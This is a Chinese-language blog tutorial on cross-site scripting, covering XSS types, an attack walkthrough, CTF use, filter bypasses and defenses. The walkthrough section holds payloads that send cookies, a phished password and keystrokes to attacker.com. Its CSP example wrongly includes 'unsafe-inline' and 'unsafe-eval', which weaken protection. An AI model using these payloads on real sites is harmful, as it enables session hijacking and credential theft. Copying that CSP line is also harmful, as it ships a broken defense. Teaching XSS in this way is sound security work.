XSS攻击(跨站脚本攻击)详解与实战

文章目录

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。

    • 影响范围:所有访问受影响页面的用户。

    • 示例

      html 复制代码
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。

    • 触发条件:用户需点击构造的恶意链接。

    • 示例

      url 复制代码
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景 :通过location.hashdocument.write等动态修改DOM。

    • 示例

      JavaScript 复制代码
      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    html 复制代码
    <script>alert(1)</script>
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    html 复制代码
    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    html 复制代码
    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>

步骤4:键盘记录

  • 监听用户输入并回传数据:

    html 复制代码
    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      html 复制代码
      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      html 复制代码
      <img src=x onerror="alert(1)">
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      html 复制代码
      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      php 复制代码
      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      http 复制代码
      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      http 复制代码
      Set-Cookie: session=abc123; HttpOnly; Secure
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    html 复制代码
    <ScRiPt>alert(1)</sCriPt>
  2. 编码绕过

    • HTML实体编码:

      html 复制代码
      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
    • JavaScript Unicode编码:

      javascript 复制代码
      \u0061\u006c\u0065\u0072\u0074(1)
  3. 利用标签属性

    html 复制代码
    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">

七、实战练习资源

  1. PortSwigger XSS Labs
  2. XSS挑战游戏
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

相关推荐
m0_4711996314 分钟前
【JavaScript】Set 和 Map 核心区别与实战用法(ES6 集合全解析)
前端·javascript·es6
hoiii18737 分钟前
MATLAB中主成分分析(PCA)与相关性分析的实现
前端·人工智能·matlab
大波V51 小时前
用 nvm 彻底重装 Node 12.22.12(确保干净)
前端
和和和1 小时前
React Scheduler为何采用MessageChannel调度?
前端·javascript
Ric9701 小时前
Mac上Git不识别文件名大小写修改?一招搞定!
前端
他是龙5511 小时前
第29天:安全开发-JS应用&DOM树&加密编码库&断点调试&逆向分析&元素属性操作
开发语言·javascript·安全
和和和1 小时前
前端应该知道的浏览器知识
前端·javascript
狗哥哥1 小时前
前端基础数据中心:从混乱到统一的架构演进
前端·vue.js·架构
petunsecn1 小时前
安全审查--跨站请求伪造--同步令牌模式
安全
树深遇鹿1 小时前
数据字典技术方案实战
前端·javascript·架构